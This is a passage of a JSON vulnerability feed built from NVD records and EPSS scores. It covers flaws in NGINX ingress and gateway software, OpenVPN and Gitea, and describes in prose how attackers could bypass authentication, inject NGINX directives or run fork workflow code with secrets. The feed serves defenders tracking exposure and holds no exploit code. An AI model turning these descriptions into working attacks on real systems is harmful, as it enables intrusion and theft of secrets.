exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94197","cveId":"CVE-2026-94197","aliases":[],"kind":"vulnerability","title":"An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external...","summary":"An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external authentication. Client-supplied X-Forwarded-Prefix, X-Forwarded-URI, X-Original-URI, and X-Forwarded-Method routing and method headers are forwarded unsanitized into the internal authentication subrequest (handled by the NGINX auth_request directive). As a result, an unauthenticated, remote attacker may spoof request attributes evaluated by the external authentication provider. \n\nImpact:\nThis vulnerability may allow remote attackers \n\nunauthenticated\n\n access to protected \n\npaths. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external authentication. Client-supplied X-Forwarded-Prefix, X-Forwarded-URI, X-Original-URI, and X-Forwarded-Method routing and method headers are forwarded unsanitized into the internal authentication subrequest (handled by the NGINX auth_request directive). As a result, an unauthenticated, remote attacker may spoof request attributes evaluated by the external authentication provider. \n\nImpact:\nThis vulnerability may allow remote attackers \n\nunauthenticated\n\n access to protected \n\npaths. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:26.963Z","updatedAt":"2026-10-15T17:17:32.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94197","asOf":"2026-10-15T17:17:32.343Z"},"epss":{"probability":0.00394,"percentile":0.33261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94197","type":"primary","publishedAt":"2026-10-14T15:17:26.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91184","cveId":"CVE-2026-91184","aliases":[],"kind":"vulnerability","title":"Description\n\nNGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and...","summary":"Description\n\nNGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and unvalidated, into the shared data-plane nginx.conf as auth_basic \"<realm>\";. A namespaced authenticated attacker that configures AuthenticationFilter CRD to an HTTPRoute/GRPCRoute on a shared Gateway can craft a realm value that closes the quoted directive and the enclosing location {} block and injects arbitrary NGINX directives into that Gateway's data-plane config. \n\nImpact\n\nA remote authenticated attacker can send crafted requests to configure NGINX Gateway Fabric AuthenticationFilter CRD and may be able to read every co-located tenant's mounted secrets, SSRF via proxy_pass, reading the pod ServiceAccount token, or hijacking other tenants' routes. There is no data plane exposure; this is a control plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Description\n\nNGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and unvalidated, into the shared data-plane nginx.conf as auth_basic \"<realm>\";. A namespaced authenticated attacker that configures AuthenticationFilter CRD to an HTTPRoute/GRPCRoute on a shared Gateway can craft a realm value that closes the quoted directive and the enclosing location {} block and injects arbitrary NGINX directives into that Gateway's data-plane config. \n\nImpact\n\nA remote authenticated attacker can send crafted requests to configure NGINX Gateway Fabric AuthenticationFilter CRD and may be able to read every co-located tenant's mounted secrets, SSRF via proxy_pass, reading the pod ServiceAccount token, or hijacking other tenants' routes. There is no data plane exposure; this is a control plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:26.420Z","updatedAt":"2026-10-15T11:18:03.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91184","asOf":"2026-10-15T11:18:03.460Z"},"epss":{"probability":0.00482,"percentile":0.41281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91184","type":"primary","publishedAt":"2026-10-14T15:17:26.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84471","cveId":"CVE-2026-84471","aliases":[],"kind":"vulnerability","title":"The fix for CVE-2026-12996 was incomplete.","summary":"The fix for CVE-2026-12996 was incomplete. A use-after-free in OpenVPN 2.6.0 through 2.6.22 and 2.7_alpha1 through 2.7.7 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry.","detail":"The fix for CVE-2026-12996 was incomplete. A use-after-free in OpenVPN 2.6.0 through 2.6.22 and 2.7_alpha1 through 2.7.7 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:26.077Z","updatedAt":"2026-10-16T16:21:51.633Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84471","asOf":"2026-10-16T16:21:51.633Z"},"epss":{"probability":0.00408,"percentile":0.34783,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84471","type":"primary","publishedAt":"2026-10-14T15:17:26.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73804","cveId":"CVE-2026-73804","aliases":[],"kind":"vulnerability","title":"Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account.","summary":"Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account. API requests signed with the corresponding private key authenticate as that account through HTTP Signature without API token scope information, causing route-level token scope checks to be skipped. This converts a user-scoped token into an unscoped API authentication method while retaining the account's normal role and repository permissions.","detail":"Gitea allows a token with write:user scope to register an attacker-controlled SSH public key on the token owner's account. API requests signed with the corresponding private key authenticate as that account through HTTP Signature without API token scope information, causing route-level token scope checks to be skipped. This converts a user-scoped token into an unscoped API authentication method while retaining the account's normal role and repository permissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:24.777Z","updatedAt":"2026-10-18T14:16:55.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73804","asOf":"2026-10-18T14:16:55.970Z"},"epss":{"probability":0.00477,"percentile":0.40894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73804&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73804","type":"primary","publishedAt":"2026-10-14T15:17:24.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73804&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73804, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73802","cveId":"CVE-2026-73802","aliases":[],"kind":"vulnerability","title":"Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled.","summary":"Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.","detail":"Gitea Runner passes workflow-controlled container options into Docker job container configuration while privileged mode is disabled. Host namespace settings, expanded capabilities, and security profile overrides can remain effective despite Privileged being forced false. A workflow author able to run jobs on an affected Docker-backed runner can use these options to access host namespaces and execute commands as root on the runner host, bypassing the intended container isolation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:24.670Z","updatedAt":"2026-10-18T14:16:55.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73802","asOf":"2026-10-18T14:16:55.830Z"},"epss":{"probability":0.00472,"percentile":0.40569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73802","type":"primary","publishedAt":"2026-10-14T15:17:24.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73800","cveId":"CVE-2026-73800","aliases":[],"kind":"vulnerability","title":"Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event.","summary":"Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event. A fork author can modify a referenced reusable workflow so attacker-controlled code executes with the repository and organization secrets available to that event. Exploitation requires a base workflow that calls a local reusable workflow, and bypasses the intended separation between trusted base code and untrusted fork code.","detail":"Gitea resolves local reusable workflow files from a fork's head commit when a trusted base-branch workflow runs for a pull_request_target event. A fork author can modify a referenced reusable workflow so attacker-controlled code executes with the repository and organization secrets available to that event. Exploitation requires a base workflow that calls a local reusable workflow, and bypasses the intended separation between trusted base code and untrusted fork code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:24.560Z","updatedAt":"2026-10-18T14:16:55.687Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73800","asOf":"2026-10-18T14:16:55.687Z"},"epss":{"probability":0.00535,"percentile":0.44883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73800","type":"primary","publishedAt":"2026-10-14T15:17:24.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73539","cveId":"CVE-2026-73539","aliases":[],"kind":"vulnerability","title":"Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting.","summary":"Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting. A crafted Context can inject additional renderer arguments, including options that load executable filter files. On deployments using a susceptible external renderer such as pandoc, a user who can place a filter file at an accessible path can cause it to execute as the Gitea service account; the public repository markup endpoint itself can be reachable without authentication.","detail":"Gitea substitutes a URL derived from the markup Context field into external renderer command templates without escaping the reference path before shell-style argument splitting. A crafted Context can inject additional renderer arguments, including options that load executable filter files. On deployments using a susceptible external renderer such as pandoc, a user who can place a filter file at an accessible path can cause it to execute as the Gitea service account; the public repository markup endpoint itself can be reachable without authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:23.633Z","updatedAt":"2026-10-18T14:16:55.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73539","asOf":"2026-10-18T14:16:55.550Z"},"epss":{"probability":0.00475,"percentile":0.40742,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73539&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73539","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73539","type":"primary","publishedAt":"2026-10-14T15:17:23.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73539&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73539, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73535","cveId":"CVE-2026-73535","aliases":[],"kind":"vulnerability","title":"Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier.","summary":"Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier. When OpenID sign-in is enabled, an attacker who knows the victim's password can obtain a session and link an attacker-controlled identifier. The attacker can then sign in through that identifier without the victim's password or second factor, and a password change does not remove the link.","detail":"Gitea's OpenID connect handler accepts a user's password without enforcing enrolled TOTP or WebAuthn verification before completing sign-in and linking an OpenID identifier. When OpenID sign-in is enabled, an attacker who knows the victim's password can obtain a session and link an attacker-controlled identifier. The attacker can then sign in through that identifier without the victim's password or second factor, and a password change does not remove the link.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:23.517Z","updatedAt":"2026-10-18T14:16:55.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73535","asOf":"2026-10-18T14:16:55.403Z"},"epss":{"probability":0.00447,"percentile":0.38584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73535","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73535","type":"primary","publishedAt":"2026-10-14T15:17:23.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71184","cveId":"CVE-2026-71184","aliases":[],"kind":"vulnerability","title":"Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating...","summary":"Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating from a fork. Review comment and review approval or rejection events can consequently load workflow code from the fork head and run it on the base repository's runners without the required maintainer approval. This allows execution of fork-controlled workflow code across the intended approval boundary.","detail":"Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating from a fork. Review comment and review approval or rejection events can consequently load workflow code from the fork head and run it on the base repository's runners without the required maintainer approval. This allows execution of fork-controlled workflow code across the intended approval boundary.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:22.783Z","updatedAt":"2026-10-15T04:18:25.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71184","asOf":"2026-10-15T04:18:25.337Z"},"epss":{"probability":0.0049,"percentile":0.41868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71184","type":"primary","publishedAt":"2026-10-14T15:17:22.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-66877","cveId":"CVE-2026-66877","aliases":[],"kind":"vulnerability","title":"Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement.","summary":"Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement. A separate run sharing a job-level concurrency group can cancel a pending job and cause its blocked sibling jobs to be re-emitted and dispatched without approval. This allows unreviewed workflow code to execute on self-hosted runners; fork secrets remain withheld and the run token remains read-only.","detail":"Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement. A separate run sharing a job-level concurrency group can cancel a pending job and cause its blocked sibling jobs to be re-emitted and dispatched without approval. This allows unreviewed workflow code to execute on self-hosted runners; fork secrets remain withheld and the run token remains read-only.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:21.863Z","updatedAt":"2026-10-15T04:18:25.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-66877","asOf":"2026-10-15T04:18:25.113Z"},"epss":{"probability":0.00426,"percentile":0.36619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-66877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-66877","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66877","type":"primary","publishedAt":"2026-10-14T15:17:21.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured 